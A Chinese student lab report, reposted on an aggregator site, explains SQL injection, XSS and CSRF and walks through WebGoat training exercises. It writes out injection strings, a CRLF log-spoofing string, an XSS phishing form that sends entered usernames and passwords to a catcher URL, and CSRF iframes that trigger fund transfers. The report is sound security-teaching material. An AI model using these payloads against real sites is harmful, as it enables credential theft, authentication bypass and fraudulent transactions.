Exp9 web安全基础
Posted 20151120肖明
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp9 web安全基础相关的知识,希望对你有一定的参考价值。
1.SQL注入攻击原理,如何防御?
定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
如图简要说明:
●SQL注入威胁表现形式可以体现为以下几点:
●绕过认证,获得非法权限
●猜解后台数据库全部的信息
●注入可以借助数据库的存储过程进行提权等操作
●SQL注入攻击的典型手段
●判断应用程序是否存在注入漏洞
●收集信息、并判断数据库类型
●根据注入参数类型,重构SQL语句的原貌
●猜解表名、字段名
●获取账户信息、攻击web或为下一步攻击做准备
如何防范:
所以从根本上防止sql注入,还是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来说,被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以只要避免用户输入的数据被数据库系统编译就可以了。
如:
- PreparedStatement
- 使用正则表达式过滤传入的参数
- JSP中调用该函数检查是否包函非法字符
- JSP页面判断代码
- 字符串过滤
2、XSS攻击的原理,如何防御?
xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为xss。
总体来说,XSS分三类,存储型XSS、反射型XSS、DOM-XSS。
存储型XSS
流程如下:
坏人把恶意的XSS代码提交网站--->网站把XSS代码存储进数据库--->当页面再次被其他正常用户请求时,服务器发送已经被植入XSS代码的数据给客户端--->客户端执行XSS代码
反射型XSS
将用户输入的存在XSS攻击的数据,发送给后台,后台并未对数据进行存储,也未经过任何过滤,直接返回给客户端。被浏览器渲染。就可能导致XSS攻击;
反射型XSS,是最常用的,使用最广的一种方式。通过给别人发送有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数呗html解析、执行。
它的特点:是非持久化,必须用户点击带有特定参数的链接才能引起
DOM-XSS
防御手段:
xss的防御
现在的XSS如此流行,原因何在。我想大家应该都知道,就是在输入的时候没有做严格的过滤,而在输出的时候,也没有进行检查,转义,替换等
所以防范的方法就是,不信任任何用户的输入,对每个用户的输入都做严格检查,过滤,在输出的时候,对某些特殊字符进行转义,替换等
3.CSRF攻击原理,如何防御?
(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
防御:
在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证
实验过程:
第一阶段
- 1.首先我们来安装一个学习系统
Webgoat
。在百度云上下载压缩包,然后拷入kali中,并在压缩包目录中使用java -jar webgoat-container-7.1-exec.jar
这条指令。
然后打开火狐浏览器
就像攻关一样可以联系左侧的题目,英文不好的自备翻译软件:
String SQL Injection(字符注入):
然后根据文本框下面的数据库语言,我们在文本框中输入\'or 1=\'1
,即在数据库语言中形成了名字=\'\'(空集,即所有)or 1=’1(永真式)
的判断,结果是会显示所有的用户信息。
Log Spoofing(日志欺骗):
我们构造一个恶意的字符串
xm%0d%0aLogin Succeeded for username: admin
复制到user name 文本框中,密码随意输入,便可登陆admin。
XPATH Injection(XPATH注入):
输入xm\' or 1=1 or \'a\'=\'a
和xm,然后可以看到攻击成功
LAB: SQL Injection
使用数据库注入来绕过身份验证,即不需要密码就可以登陆。
使用用户Nevile进行登陆,注入的代码’or 1=\'1
Numeric SQL Injection
(数字数据库注入)
XSS
Phishing with XSS
-
跨站脚本攻击,在表单中输入超文本代码XSS可以劫持用户的浏览器,任意构造用户当前浏览的HTML内容,模拟用户当前的操作。这里实验模拟获取用户名和密码的攻击在文本框里面输入一个钓鱼网站代码</form>
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
Stored XSS Attacks
目的是创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
在Message中构造语句<script>alert("you are a bad guys");</script>
,提交后,可以发现刚刚创建的弹窗
Reflected XSS Attacks
Cross Site Request Forgery(CSRF)
目的是发送一个恶意URL请求的图片给用户。在message框里输入一段文字,文字里包含了恶意图片。
CSRF Prompt By-Pass
在信息框中输入:
<iframe src="attack?Screen=src290&menu=menu900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=src290&menu=menu900&transferFunds=CONFIRM"> </iframe>
实验体会:
深刻觉的自己对与web的知识了解甚少,基础知识有待提高。。。。
以上是关于Exp9 web安全基础的主要内容,如果未能解决你的问题,请参考以下文章